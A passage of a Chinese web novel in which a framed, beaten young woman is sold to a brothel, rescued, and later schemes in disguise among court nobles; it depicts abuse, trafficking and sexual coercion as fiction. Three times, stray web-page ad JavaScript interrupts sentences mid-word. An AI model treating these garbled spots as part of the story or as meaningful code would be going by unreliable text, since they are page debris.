荆甘棠疾步走去,恶狠狠的抬起荆楚歌的下巴:“怎么会,只是单独来寻你的笑话,我可想不到什么落井下石的好手段,等我想到了——你可能就没办法囫囵个儿地站在这里了。我是来找东西的,我一只七宝金丝璎珞步摇不见了,那可是浮光阁新进的稀罕货,我听杨妈妈说,在你这儿瞧见过。” 她在柴房里踱步,走了两圈觉得这地儿着实狭小,空气中还有一股潮湿的霉味,冷清清的,多站一秒都令人难受不已。 浮光阁的金银玉器数不胜数,都是为郢都贵女准备的豪奢之物,世家大族、皇室家族爱佩戴的稀奇玩意儿都是出自那浮光阁,一钗难求是出了名的。 荆楚歌张嘴,嗓子有些沙哑:“我刚被押到这儿不过几个时辰。” “那又如何!我步摇不见了!这儿就你一个人,我要是搜出来了,你难逃其咎。”荆甘棠招了招手,一旁的家丁架住荆楚歌。 “我不曾见过什么七宝金丝璎珞步摇。”荆楚歌本身就没什么力气了,眼皮儿每动一下,就感觉眼下一阵火辣逐渐蔓延。 “你勾引姐夫,和有妇之夫私会,你真是不讲廉耻!下贱!”荆甘棠似乎也想不出更加恶毒的词汇,她瞪大眼睛,死死盯住荆楚歌的脸,以此表达自己的不满情绪,“这样不讲礼仪廉耻的事你都敢做得人尽皆知,你还有什么不敢的!快给我搜,仔仔细细地搜。” 不出所料,果真搜到了那一只金贵的步摇。 “人赃俱获,你还有什么好说的!”老妈子昂首挺胸厉声呵斥,站在荆楚歌面前腰板也挺得老直,“老爷军法治府,最容不得偷鸡摸狗的事!荆楚歌你好大的胆子!” 她十指纤纤,涂着凤凰花色的锦橙蔻丹,那尖锐的指甲一下子就划开了荆楚歌的下巴,她面带微笑,语气嚣张跋扈又寒凉:“好你个荆楚歌,果真是做尽龌龊事,爹爹他在外边的正堂上,夫人也在忙着操办白事,这下可没什么人能救你。” 呸,说得像以前有什么人会来救她似的。 “这儿站着的都是你的人,要打要杀,还不是听你的意思,还拿舅舅的话来堵人的嘴,有什么必要么?” 她瞥见地上躺着一件大氅,光是远远瞧着也是用料不俗,她点了点下巴,授意老妈子将那件大氅取过来。 老妈子脸上立马绽开谄媚的笑容,两三步并作一步,朝着荆楚歌龇牙咧嘴,一副小人得势的模样。她一手掀起荆楚歌,双手拽过那大氅,退回原地,朝荆甘棠毕恭毕敬捧上:“小姐,您过目。” “就你,也配用这么好的东西?是从哪儿偷来的吧!”荆甘棠随意翻弄着,毫不留情地面刺,她向来娇纵惯了,看不得从前卑贱如泥的东西有一天要跟她平起平坐,“还是说,你和什么人睡过了给你的好处,八成也是觉得你令人拿不出手罢,让你好闭嘴。” “怎么,你也想要?”荆楚歌饶有兴致地吹了吹手背上根本都不存在的灰,反而激起昏暗破小的柴房积年的灰,她脑子昏沉,像是一锅煮开的浆糊,“你也去睡一个,你是荆府的大小姐,怎么睡都比我值钱。” “呸,果然是下贱胚子!”荆甘棠颇为嫌弃地将紫氅一扔,抛到地上狠狠踩了几脚,“你就等着吧,别以为你马上要嫁出去了你就能高枕无忧了!” 她最是厌恶荆楚歌这副淡淡的死样,既没有教养,又半死不活,她怒从心中起,咄咄逼人,“偷了我的东西还敢这么肆无忌惮,真是不知天高地厚,我才是荆府的主子,你只是一个外头来的贱婢!” 手掌落下的脆响惊得在场所有的人忍不住皱眉。 这一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 巴掌可不轻啊,荆楚歌之觉得脑瓜子有点嗡嗡作响,随即脸上一烫,疼痛感席卷而来,口腔里也带着浓烈的腥甜味。 荆甘棠也不敢相信自己居然没控制住自己的情绪,僵了僵身子。 一丝血缓缓从荆楚歌的唇角滑落,她全身都乱糟糟的,昨晚发生了太多事,此刻沉在半明半暗的阴影里,看起来温柔而又森然。 她脑海里闪过许多画面。 阿娘,大雪,冲下悬崖的马车。 冲天的火光几乎吞噬了一切,男女老少声嘶力竭的呼唤…… 记不起来了,荆楚歌脑子里乱得更厉害了。 荆楚歌身子一软倒下了,她失去了知觉,倒在涂满陈年老泥垢的地板上。 “你们可看见什么了!她偷了我的东西,八成是为了遮掩自己的罪行,不想爹爹责罚,这才装病倒了。”荆甘棠冷哼一声,用脚尖踢了踢地上烂泥似的荆楚歌。 昏死过去的荆楚歌没动弹,她也确实动弹不了。 老妈子见荆楚歌不似演的,心中忐忑难平,害怕真惹出了麻烦,她小声问道:“可要给表小姐找个郎中?” 荆甘棠柳眉一竖,骄横道:“都说是装病,找什么郎中,多此一举!” 她抬脚就往门外走,临出了门,紧锁的眉头骤然一松:“这家伙,死了便死了,天生是个短命的,没那条好命去好人家享清福。” 荆甘棠语气释然又刻毒,兴许是受到她母亲的影响,她从小就讨厌这个泥巴腿子都没洗干净的妹妹。 就是她母亲这样的人带坏了门风,辱坏门楣让她在一众贵女面前抬不起头。 荆甘棠心中发狠,下定决心不会轻易放过她。亲娘死了,荆楚歌不仅还活着,还被秦王瞧上了。 那一日在东塘,自己的亲娘莫名其妙地死在湖里,爹爹也不让再提这件事。那一日的东塘聚了不少人,那权势滔天的秦王殿下,不偏不倚地相中了这小贱人。 门外人影交叠,探头探脑。 柴房再次陷入无边的黑暗里,荆楚歌蜷缩着,明明浑身发烫,却又冷得不行,俨然身体陷入冷热不分的困境。 荆楚歌手心抵着脸庞,那滚烫的温度有点扎手,饶是铁打的,她这会儿也站不起来。 吱呀。 倏尔,门被打开。 荆楚歌赶紧装晕,继续闭紧双眼,耳朵极其灵敏地倾听着外头的动静。 不一会儿,便有一人走动她跟前,轻轻拍了拍她的脸,荆楚歌感觉自己的脸被牢牢盯着,那种细丝游走的目光让她闭着眼都能感受到如坐针毡。 “不错,生得水灵儿。”老鸨扯了扯毛茸茸的披肩:“老身得仔细检查检查,莫不是哪儿有残缺?怎的舍得卖这好的女孩儿。” 老妈子手掌一拍,假惺惺地迎合道:“这是大户人家当女儿养的婢子,自然是比市场上卖的那些正经的多,你带回去好好检查就是。” 花枝招展的老鸨涂满红口脂的嘴唇弯了又弯,看着地上的女子欣喜不已:“一分价钱一分货嘛,卖得这么便宜……才五两银子,买一头驴都得六两,我这也心慌慌的。” 老妈子语重心长解释道“这婢子勾引主君,夫人说断不可留,这才打发了我去请买家,你也瞧到了,咱们家大口阔,也不争这几个钱,算是解决一档子麻烦事。” 老鸨讶然,笑得更开心了,露出满口黄牙:“那算是来对地方了,贵人们就是喜欢这一口儿,主动献媚讨好的骚/劲儿,最是讨人喜欢!” 19. 逃之夭夭 白绫长垂,随风飘摇,在半天际飘摇不定。红灯笼也被取下了,挂上了惨白的纸扎灯笼,这个时辰已经开始有下人陆续点上蜡烛了。 院子里一片哀嚎,专门有人扶棺哭丧,化成灰的黄纸一点点燃尽,飘向触不可及的遥远天空。 天空是浅蓝色的,一片片浅淡的云一丝丝晕开,让这片天看上去既不阴沉也不晴朗。 一辆马车从不起眼的侧门驶出,那马车摇摇晃晃,破旧得很,门口的家丁打着盹,十分不耐烦地朝老马车夫招了招手。 “吁!”老马车夫嘶哑着嗓子,将手中的缰绳一扯,堪堪地正停在那扇掉漆的铜环木门前。 家丁打了个哈欠,掀了掀眼皮子,将这个探出脑袋的老婆娘仔仔细细打量了一遍,这才将信将疑地开口问:“什么人?” 老鸨扯着满是褶子的脸,喜气洋洋道:“是来府里谈生意的。” “走吧走吧。”走侧门的,想必不是什么正经生意,家丁也不好细问。 “驾——”老马夫一鞭子抽在马屁股上,马车轮咕噜噜地转动,带起扬尘一片,飞溅的尘土落下,踏下一个接一个深浅不一的马蹄印。 不知往外走了多少里,走的路越发崎岖,荆楚歌后心发凉,脑子纵然昏沉,眼睛也被黑布蒙住,但她清晰认识到,这条路根本就不是城里繁盛拥挤、寸土寸金的地段,分明是往城外的方向走! “把她松开。”老马车夫嘶哑的声音从前面传来。 马蹄嘀嘀嗒嗒,步子终于慢了下来。 车轱辘浑厚的滚动声,还有女人平缓的呼吸声,连带着一阵接着一阵老马车夫的叫唤声,荆楚歌心中的弦紧绷着。 老鸨轻快地嗯了一声,将少女遮眼的那块黑布摘掉,突如其来的强光让她的眼睛刺痛得睁不开。 手腕上的麻绳解开,将缓片刻,荆楚歌终于看清楚眼前的人。 女人浓妆艳抹,三十上下,穿金戴银装扮老气,金钗盘发,发髻上还簪着一朵艳丽的大丽花,整个人扑满了脂粉香气。 “卖这个价可惜了,哈哈。”女人一手将半倒斜靠的荆楚歌拎起来,“啧啧,瞧起来多招人疼啊,我见犹怜!” 荆楚歌讶异于这女人的手劲儿,她滴溜溜地睁着茫然的眼睛,瞅着眼前的女人。 竹帘前传来老马车夫闷闷的嗓音:“毛手毛脚的,别吓坏了孩子。” “哎呦,要你这个老东西讲唷——小姑娘演挺好的,一路都没动弹呢。”女人扯着荆楚歌的手,翻来覆去地捧在自己手心里细细检查,触感柔软滚烫,她盘了大半辈子的小姑娘,身体好不好一摸便知,“这妮子底子挺壮实的,怎么染了风寒,浑身烫得很。” “我瞧瞧,莫不是吃错了什么东西中了毒!”只见那佝偻的身影腾出手撩开竹帘,风似的钻进来了,一屁股挪了进来。 “老头儿……安伯!怎么是你?你不是北上了吗?” 看见眼前风尘仆仆戴着斗笠的老头儿,荆楚歌不安的心跳终于缓了下来。 她讷讷地看着眼前熟悉的人,不由得热泪都要砸下来。 “哎呦,无事,吃点安神的药睡两天就好了,太过劳累了,得好好补补气。”把完了脉,老头儿这才松了口气。 “是。”她应声道。 老头儿清了清嗓子,介绍道:“这是花香楼的花妈妈,是我在郢都的大客户。” 荆楚歌毕恭毕敬地给她行礼。 花素心赶忙摆手,哧哧笑了起来:“小丫头忒客气,安别生份了才是——郢都风流权贵汇聚,安老板还缺我这个客户?” 老头儿恭维道:“香粉生意,自然是花妈妈你这儿最旺。” 花素心摆了摆手,又忍不住将这少女上下打量了一番:“三年的香粉换这个小姑娘,安老板你可真大方。” 老头儿穿着破破的黑斗篷,一副低调的模样,让旁人说他是丐帮老大也没谁不会信,他大手一挥,义正言辞道:“钱没了能再挣,孩子没了我上哪儿找去。多亏你说荆府要卖姑娘家家,我这才有机会把这小丫头片子捞出来!” “我再不来,你就死了。”老头儿转头,瞪着眼瞅着荆楚歌,两撇山羊胡都要吹上天了,“我原以为,你身边有秦王的人,你就不会有生命危险。哪知你遇到如今这样的事……看得出,秦王害怕打草惊蛇,不愿意插手荆府的事。” 荆楚歌讷讷:“荆家怎么了?” 老头儿嘴唇翘了翘,吸了吸鼻子,有点幸灾乐祸的意思在里头:“荆家,惹上大麻烦了,王氏就等着一个发难的借口,他们家后辈太莽撞了,还以为能撬动世界,要我说,荆玉兰要是不自戕,她也活不过今晚。” “郢都形势复杂多变,楚国公裴谦在朝堂上公然挑衅户部尚书李素,但他太过激了,查账就查账,顺手还拆了皇帝的台,逼得两方都下不来台,这孩子……我之前也是见过的,打仗挺能打的,大字儿也写得不错,就是不知道为什么,回了郢都像是脑子不好使了……不知是不是郢都靠南,气候太湿润的,给国公爷的脑子灌了水。” “他们家?可……可我也姓荆……”荆楚歌垂下眼睑,她思索片刻,斟酌半天不知如何开口。 “你阿母……你娘亲将你养得很好,起码你长这么大,都是平平安安的。”老头儿的脸上一片难以言状的悲壮。 确实,荆岫云一死,荆楚歌似被推入无边的漩涡。 命运,像是一只看不见的手,将她从浑浑噩噩的清白世界捞了起来。 她被放到这个世道面前,如一张白纸。 荆楚歌咬了咬下唇:“那个王郎君临死前,他说我母亲是被人害死的。” 老头儿叹气道:“她病入膏肓,却又不愿意离开荆府……孩子,你不明白,她身上究竟背负了什么。要不是你,她或许早就自寻短见了。” “我曾经能救一救她的,可她已经死了心,她宁可当作一切未发生过,留在荆府幻想自己还是那个未出阁的小姑娘。”老头儿又叹息了一声。 承认那些发生过的美好如泡沫消散,对她而言是致命的伤害。 她抱着可悲的幻想,如同少女般重回天地的怀抱,生命最终如同凋落之春花。 “孙家是当年郢都政权更替的弃子,我明白。”荆楚歌规规矩矩地坐在角落,目光有些空荡。 荆楚歌轻轻念了出来,那是被撕碎的一页书信,她拼凑起来勉强能够看到这一句,“玉是白玉璧,木是沉木香。” 至此,老头儿心脏陡然漏了一拍。 看着面色静如止水的少女,他心中有些忐忑,太像了,这孩子。 与雪山下裙尾飞扬的神女如出一辙,如那山顶最纯净的白雪,晶莹剔透如那最敞亮的长生天。 一舞倾城,篝火明亮滚烫,少女安然恬静,风都要亲吻她的裙角。 一剑横空,刀光剑影凛冽,利刃出鞘破风而至,逍遥剑下无冤魂。 “李素要斩草除根,他当初与孙家走得近,后又亲手将孙家送上断头台。” 李家在青州,与孙氏世代交好。后却为了一己私利做了叛徒,踩着孙家的尸骨往上爬,不知寒了多少人的心。 荆楚歌茫然道:“我从未听说过。” 老头儿语气哀凉:“荆岫云死里逃生,一路辗转回到了郢都。” 花素心心大,想着活跃活跃僵持的氛围,热心肠道:“你说别的我不知道,那李素我是知道的,我们楼里的老常客了,他跟他儿子都是我们楼里的老常客!哎呦,多阔气,来一次不知道撒多少金子!” 老头儿语重心长道:“孩子你还年轻,我不希望你被仇恨蒙蔽了双眼,你想过上什么样的日子,你可以试着去设想,安伯会给你自由。” 他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说的均是肺腑之言。 这一刻荆楚歌或许有许多选择,她可以选择装作一切未发生嫁给秦王,作为亲王的爱妾,她可以像一只菟丝花攀附皇亲贵胄,至少余生虞。 她可以离开郢都,去游山玩水,路过某个不知名的小镇子,想留下便留下了,做一些小本生意,养活自己肯定是没有问题的。 她可以就在郢都,选择改头换面,找一户合心意的人家,在这个苛待女人的世道,有一个真心呵护她的夫君或许更加重要。 荆楚歌嗓音有些沙哑,低沉的音调显得她有些过分镇静,好似帷幕之后的谋事之士,她道:“我见过娘亲有一个木匣,里面装了一些信件,我从前并不知道母亲还有府外的人有书信来往。” 老头儿沉默了半晌,好似明白了这个倔强的孩子决定了什么,便也开口道:“荆家当初小门小户,在安州那个偏僻的角落里蹲着,至于为什么突然得了重用,我想你应该是明白的。” 一半靠虚无缥缈的运气,一半靠卖女求荣。 荆岫云嫁去孙家换了一笔不菲的买官钱,得了好处还要四处散播女大不中留的谣言。 将自家女儿的名声碾到尘土里,不够还得多踩两脚。 既要名节又要钱,这么做忒不要脸。 荆楚歌道:“世家握住权柄不放,皇帝只能想办法分权,正巧遇上北面有战乱,这才有了合理的借口将兵权分了下去,荆家靠着投诚倒戈,表面站队王家,实际却又与大权旁落的皇帝走得近。” “王家对此事如鲠在喉。”老头儿颇为满意,骤然觉得这妮子确实是可塑之才,“现如今,除了王家,还有其他世家虎视眈眈,想要浑水摸鱼,将荆家分到的这点兵权一并吞下。” “荆乔松狡猾过头了,以为自己做了两手准备,两边都能巴结,却没想到留下那个姓王的郎君就相当于给自己埋了一个隐患。王家不会放过他,皇帝也不信任他。” 老头儿咧着嘴,两撇花白的胡须翘了又翘,毫不留情地嘲讽道:“他自以为是地在郢都中如鱼得水八面玲珑,到头来,你瞧瞧,你那个便宜舅舅在哪一处混开了?” 马车停在官道分岔路外的荒野路径,野林深重,林间只有飞鸟翅膀拍击的扑腾声。 花素心拍大腿,一副悔不当初的模样:“啊唷,我这是不是听了什么不该听的,外头的风吹得阴森森的,吓死老娘了。活了大半辈子,也见了一些大人物的明争暗斗,你这讲的也不算什么稀奇。” 噗嗤。 花素心脸上的笑容一僵,缓缓低头,垂眸一看,那锋利的剑一下便穿透了她的腹部。 血色一涌,荆楚歌大惊失色,刚想弯腰查看伤势却被老头儿一脚踹倒。 “有刺客!” 老头儿脸色一沉,揪着死鱼似的荆楚歌就起身,他强行破开马车顶,带着荆楚歌从车顶飞出。 荆楚歌执拗回过头,方才二人坐过的地方齐刷刷地插入了好几把利剑。 “特来招待,阁下怎么一副不开心的模样。” 说话那人声音诡异,音调不男不女,强调提着端着,颇为矫揉造作。 荆楚歌从那人的语气里听出了敌意。 老头儿翻了个白眼:“呸,老腌货。” 那人桀桀笑了两声,林隙光影落在他身上,显得他表情模糊又暗淡。 老头儿拦手,将荆楚歌护在身后:“我跟你打,你放她走。” “我们都是做奴才的,主子说什么就是什么,别的,我们也不知道,也不敢想。” 老头儿低声安慰,他表情严肃又认真道:“我会为你安排好一切,你走便是,不要在这儿碍我的事。” 她刚一抬脚,蓦然风声凌厉,一道乌光直射她双眸,那一柄乌光止于老头儿掌间。 “走!”老头儿声嘶力竭地朝荆楚歌喊出最后一个字。 20. 贵客恩典 天香楼来了个新小倌,叫安小楚。 这人一个月前投奔至此,还是花妈妈的远房表亲。人俊话少,眼里有活儿特有眼力见。 不仅很得花妈妈器重,还招姑娘们喜欢。 花妈妈病了许久,谢绝见客,都是这个安小楚一心一意伺候汤药。 “喂,那个新来的,公子们来了,还不过来安排安排!” 安小楚低头,眼角瞥见来人衣着华贵,显然是郢都不务正业的纨绔公子哥。 只有一人,安小楚飞快认出,他立在春景里,站在一众衣着华贵的人群里显得有些寡淡,只是荆楚歌此刻觉得,他停留在哪儿,春便在哪处止步。 如水墨如丹青,如国手浓墨重彩的一笔。 楚国公裴谦。 一旁的还有那些说熟悉也熟悉,说不熟也不熟的六殿下——荆府已经没落了,尽管没被赶尽杀绝,但没收所有家产,死了要比活着痛快,下人们被辗转卖入新的府邸,还有些直接给人牙子牵进菜市场,供人挑选。 黄粱一梦,如烂柯人。 荆楚歌人间蒸发一般,谁也不知道她去了哪儿。 秦王曾来找过人,荆府的三小姐哭哭啼啼地说是卖进了妓院,可妓院里从未添过这么一位新人,为此六殿下黯然神伤了好几天,三天都没心情喝酒。 “姑娘们,有贵客……”她这一声还是从老小倌德生那处学来的,她不仅不熟练,强调还僵硬。 学了几日还是别扭,安小楚脑瓜子嗡嗡响,再捏着嗓子念叨了两回,只记得那一日林子里头叽里呱啦的老腌货了。 不知道安伯最后怎么样了,安小楚再也不敢叫他老头儿了,心虚得很。 “天香楼什么时候养了新小倌,叫得这么生涩,迎客都叫得像……”男人本想习惯性地说点下流的话,却猝不及防地被一旁同行的人一肘击。 “里边儿请。”安小楚皮笑肉不笑。 不可置否的是,在天香楼的一番经历造就这家伙日后在大场面上睁眼说瞎话的本事。 裴谦脚步顿了顿,在安小楚面前停了下来。 他脸上流露出一抹动人的笑,从唇角慢慢弯起,弧度清浅,笑意粲然,从脸上再蔓延到眼底,眼睛里因此落了星河流光,渐次点亮。 绚烂惊艳,如一现的昙花,像雨后的刹那,云雨山间的虹桥,掠过最高的山巅。 “我们是不是见过?” 荆楚歌怔了怔,明知对方是调侃、取笑甚至是试探,但她好像并不讨厌。 孟昭小点心似的,围着裴谦转悠:“承影什么时候对小倌感兴趣了?哈哈,今晚要不叫两个来伺候伺候?” 裴谦看着初次见面的安小楚:“未尝不可。” 荆楚歌心想,难道这国公爷男女通吃?亦或是喜好男色?缘分果真妙不可言,初恋即失恋。 孟昭大手一挥,好不容易见到裴谦喜欢什么人,不由得多嘴两句:“就你了,晚上伺候。” 被点到名的荆楚歌被雷击似的。 “小楚,还不快谢过贵客的恩典!”一旁的小姑娘用胳膊肘捅了捅荆楚歌。 花妈妈扭着腰肢,手里拈着香味浓郁的帕子,娇俏的声音令人骨头都酥了:“爷,楼里还有别的,这孩子刚来的,没个教训,我们是不让接客的,害怕冲撞了贵客唷。” 裴谦难得坚持一回,坚定地指着荆楚歌道:“不存在,我看着她心情就舒爽,我就要她。” 孟昭红着脸,附耳小声道:“都要的姑娘,承影你这……未免太打眼了些,晚点洗干净了,让他去你房里。” 很不巧今晚的荆楚歌自有安排。 如果这家伙碍事了,不好意思,手起刀落一并解决。 裴谦紧跟不放,也不知他心中究竟在想什么,他目光温和恳切:“无事,我能等,我有的是时间,也不用非得今晚,风花雪月之事,自然需要时间去成全,调教好了再送过来就好。” 荆楚歌之好跪谢贵人恩典,后退着一步两步地往院子里跑。 花妈妈站在院子里的花架子边捶胸顿足,声音压得极低:“哎哟,你这也是,你姑娘家家的,我怎么跟安大柱交代哟。” 安大柱就是老头儿,荆楚歌之前回到林子里查看了,那地段荒无人烟,下了两场雨打斗的痕迹就冲刷得一干二净了。 荆楚歌搀着花素心,温声道:“妈妈仔细身体,不过是伺候个病秧子。” 花素心神色凝重:“李素那对父子派小厮来约了时间……我也是不放心你,毕竟臭名远扬的老爷们儿,到哪个楼里都不受待见,伺候不好了还不成,派了可人的女孩儿去,折腾都要折腾去半条命!你是这些孩子里最机灵的,这几日贵人云集,你好歹照看着,别惹了大麻烦。” 荆楚歌点了点头,毕竟寄人篱下,许多事都得想周全,她道:“那是自然。” 那群人去了楼里最好的厢房,叫了头牌作陪,公子们人手一个,少女们环伺左右,柔情蜜意地侍候着。 裴谦坐在一面银竹黑檀木屏风后,是一个僻静的角落,案上搁着金足乌的小香炉,升着袅袅青白的细烟。透过微凉的风,荆楚歌看见对方长发披散,衣襟垂散,锁骨就那么露了出来,肘支着下巴,懒洋洋地看着走近的荆楚歌。 荆楚歌面无表情,端茶端酒的,十分勤勉。 秦王晚到,来时衣袍卷着冷风,春日夜晚还带着寒意,那飒飒冷风直扑扑往她脸上掸去,荆楚歌跪完了爬起来,动作之利索。 她心道,什么时候她才能不跪——最好还叫这些喝花酒的王八羔子跪她? 不对,这些王八羔子跪她有何用,必须得天下有学之士才算有趣。 不过以当今寒门与世家水火不容的现状,荆楚歌的愿望只能等到下辈子再实现。 秦王殿下皱了皱眉,“怎么还有小倌?是新来的么?谁那么会玩儿呢?李秋离?” 被点到的人正就着少女的纤纤玉手喝酒。 李秋离短促地笑了一声,伸手一揽,姑娘便栽进了他的怀里,锦袍公子轻捏少女粉颊,那姑娘樱唇轻启,发出娇羞忸怩的撒娇声。 裴谦招了招手,示意荆楚歌过来,“殿下有所不知,我待这少年甚为亲切,如同故友那般。” 荆楚歌脚底灌铅似的,想挪不想挪的。 直至与首席的秦王殿下对视刹那,这才麻溜地跪坐到裴谦的身边。 这是她第三次离这人如此之近。 第一次是火场求生,第二次是踩碎了屋檐瓦砖。 第三次应该就是此刻。 秦王又皱了皱眉。 他仔细看了眼前的少年,只能说姿色一般,算不得上等容貌,五官端正不假,但面容憔悴,显现出穷苦人家的面黄肌瘦。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 安伯的易容术,荆楚歌让它继续发扬光大。 裴谦勾了勾手指,示意荆楚歌再凑近些,他逗弄道:“你听说过白玉杯没有?” 荆楚歌脸色红白交错,好不精彩。 前朝权臣在家养家妓便有这种说法,美人的唇齿为酒的容器,在嘴里含温了,依次渡入客人的嘴中。 荆楚歌胃里一顿翻江倒海。 “吓唬你的,不要你喂。” 你最好是。 荆楚歌心里骂娘,脸面上又不敢对着干,她破罐子破摔,脸色僵硬苍白,端着酒壶倒满一杯。 “啧,都溢出来了,毛手毛脚的。”裴谦惋惜道。 张记清还是穿着那身白色锦绣的文人长袍:“楼兰春啊,承影今天下血本了,多亏殿下来了,不然错过了好酒,只能等着咱们国公爷大婚的时候再见了。” 荆楚歌颤抖的双手缓缓端起酒杯,白玉杯里馥郁芬芳的醇酒惹人面色桃红,未入肚子便醉上三分。 他笑意浅浅俯首,垂眸于皓腕玉指间,饮尽她奉上的杯中酒。 荆楚歌感受到了指尖滚烫的鼻息缓缓流淌,酒气微醺,她终是落了下风。 “清倌人,不曾接过客吧。”孟昭颇有兴致地盯着眼前的这对人。 裴谦虽出身武将家族,但生母是郡主娘娘,从前在宫里面长大的,睁眼闭眼都是皇子皇孙,什么大场面没见过。所以她尤其重视孩子的礼仪和读书,都是按照皇家的规格办事的。 老国公曾说过,武将还得文人来当。这话并非无道理,文韬武略才是贵公子的上等出路。 这裴谦,骨子里还有文人的傲气,不然这么多年也不会光问风花雪月,也不曾明晃晃地站队哪一家。 “奴家笨手笨脚,还望贵人垂怜……”荆楚歌跪下,头埋得老深,幸好有易容术,不然脸皮儿薄,脸上的绯红什么脂粉都遮不住。 “下去吧,不难为你了。”裴谦轻轻一笑,居然真的放过了她。 此时的她压根没把这件事往调情上边想,荆楚歌松了口气,赶紧出门去。 酒过三巡,醉意满满。有些人带着姑娘们离开了席位,荆楚歌坐在偏堂的窄小回廊里,端着茶盏喝茶。 李秋离拥着姑娘,阔步走了出来。那姑娘尚为年轻,比荆楚歌大不了多少,只见她眼神凄切,泪眼婆娑。 频频回首,向许多人求助只可惜无济于事。 荆楚歌眼皮儿没抬,只是不动声色放了茶盏。 风尘女子,难免会遇见各种不入流的客人,如何应付他们是必修课。 荆楚歌本不想跟上去,但花妈妈既然说了,她便也不能装作无事发生。 花园巴掌大一点,但僻静。一丛迎春花后,传来男女急促的喘息声。 不不不,这样的活春宫她还是没那么感兴趣的——想来自己真的魔怔了,居然疑心是不是有什么事。 可荆楚歌透过指缝仔细观察,发现这牲口真的不把姑娘当人。 荆楚歌心道,总不能白来。一脚就踢到李公子光滑白溜的屁/股上了, 李公子正玩得起劲,冷不防给人踢了一脚。 饶是心理素质比金坚,也遭不住这么一恐吓。 回过神的李公子,目光搁在荆楚歌身上缓缓滑动:“哟,自己送上门来的,我也想尝尝,楚国公喜欢的是哪种货色。” 21. 一眼定情 两人在草丛中衣衫凌乱,姑娘犹自哭泣,胸/前不加遮挡,白皙粉嫩的肌肤上留着一片骇人的紫红伤痕。 “小倌也不错,我也不难为你。伺候得了国公,也就伺候得了我——我给你十两黄金,你干不干。” “……” 不愧是纨绔子弟游戏人间的地方,打听情报一打听一个准。 朝廷政争严重,朝中大臣各有派系。 一旦有一方能抓住对方的把柄,那是不依不饶至死方休。 在妓馆里,别说奇葩的游戏方式,荆楚歌在楼里跑了这么久,该摸清楚的早就摸清楚了。 荆楚歌面带微笑,冷不防地在他面前蹲下,不轻不重地甩了他一巴掌。 清脆,利落。 一旁的小姑娘吓白了脸,衣服都没穿好便缩到一旁,还是荆楚歌好心替她整理的。 “胆子不小,原来还是个有脾气的。”李秋离非但没生气,还突然生了兴趣。 他舔了舔下唇,手捂着那半张脸,意犹未尽地盯着荆楚歌。 “李公子难道不喜欢?” 聚麀之诮。 她想起花素心说李家这对父子喜好非常,也就只有在天香楼这样的地方才能勉强满足他们那种变态□□。 荆楚歌狮子大张口,伸出两根手指头:“二十两,做什么我都愿意,我要从楼里面赎身。” “就不怕吓跑了恩客,二十两黄金,亏你也说得出口,你哪儿值二十两黄金?” 这小倌虽长得不出奇,身段却是极其标志的,五官长在这样的脸上虽不算丑,但蜡黄的肤色多少遮掩了该有的气质和美貌。 如今这模样,李秋离实在想不出来这家伙有什么底气说出二十两黄金的。 荆楚歌笑了,那张平淡无奇的脸上带着极有亲和力的温柔:“可如果你能把我送给楚国公呢?” 既能给他父子暖床,又能与国公爷破冰。 李秋离怔了怔,似乎想起了什么,更加面无人色。 他父亲李素是户部尚书,在朝中仗着崔氏的势,在郢都横行霸道。 只是如今几方势力交错纵横,谁也不知道这般养尊处优的日子什么时候就到了头。 楚国公裴谦早朝中弹劾李素,按理来说早该水火不容,但李素耐着性子要自家儿子与皇家沾亲带故的贵族子弟处理好关系,其中的利害关系自然不言而喻。 “自然,我也不是难为李公子,二十两黄金,确实强人所难啊……只是当今形势值这个价不是么?”荆楚歌端着空碗敲诈,肆无忌惮地敲竹杠,与虎谋皮就是这样 ,气势不能落了下乘。 李秋离也没了继续玩乐的兴致,他刻薄低沉道:“那还得看你的表现,国公爷可不是那么好糊弄的,胭脂俗粉哪儿能入他的眼。” 换做平常,李秋离可没这么好的耐心。 “爷,我要订金。”荆楚歌伸手,“既能张口要订金,那我定是有所把握的,况且处理人情世故就是要成本的呀,我贱命一条,死了活了无人在意,到时候你不认了怎么办?李公子可是富贵堆里长大的,几两黄金算得了什么?” “我倒是看看你有几分几两,别以为自以为是当莽夫你就能博得青眼,告诉你,砍头砍的就是你这样不知天高地厚的。”李秋离整了整衣领子,衣袍松松垮垮地披在身上,“今晚本公子亲自调教你。” “是。” 交易达成。 姑娘只知道这李公子的纨绔身份,却不知党系间复杂的人情关系。 “这是你的钱,我不能要。”小姑娘表情复杂,怔怔地看着眼前的荆楚歌。 荆楚歌讪讪一笑,将刚到手的几块银锭子塞到她手里,好生安慰了一番才把人打发走了。 四面寂寂无声。 初春时节,荆楚歌站在黄昏的夕阳中,温暖的光线包裹着她的全身。 “看够了就出来。” 荆楚歌不急不躁,微笑如前,这句话好似是对着空气说的。 只是下一秒草丛摇动,那人端着酒杯,另只手提着小酒坛,施施然走了过来。 “打着我的名头招摇撞骗,感觉可好?” 荆楚歌沉吟,然后灿烂一笑:“感觉还真不错,国公爷身份尊贵,多少人想着拉拢巴结,这是我们这些穷出身的小厮一辈子也求不来的。” “每次碰见你,你好像都会惹麻烦。” 荆楚歌惊异于国公爷的判断力,他怎么这么精确地认出了自己。 她摸了摸自己的脸,不至于吧,那个口口声声要纳妾的没认出来,这个闷葫芦似的家伙反倒认真起来了。 安伯的易容术不是她吹,她敢称第二,也就只有安大柱那老头儿称第一了。 “或许是国公爷身边精彩纷呈,大戏不断。”荆楚歌强行拍马屁,“主要是国公大人有一双善于发现美好日常的双眼。” 荆楚歌开脱道:“国公爷反正不会赎我出去,我倒不如自己想法子,这不是找着了冤大头了么?” 裴谦抿了一口酒,悠悠道:“那李家要你过来做细作,你做是不做?” 荆楚歌有些尴尬:“你甭要就成呀,直接就拒绝,身边不要人伺候,多谢美意,皆大欢喜的事,非整这么复杂。” 裴谦哑然失笑:“你说拒绝就拒绝啊,万一我真缺人伺候呢?” 荆楚歌糊涂了,辩解道:“那你也不缺一个对家送来的细作啊。” 少女的眼眸流波跃金,如春,如夏,鲜活旖旎。引得男子看她更深,眸中光芒微闪,却看不出真实思绪。 裴谦提起酒坛子,猛地灌了一大口:“你倒是明事理,做事七情六欲都斩了个干净。” 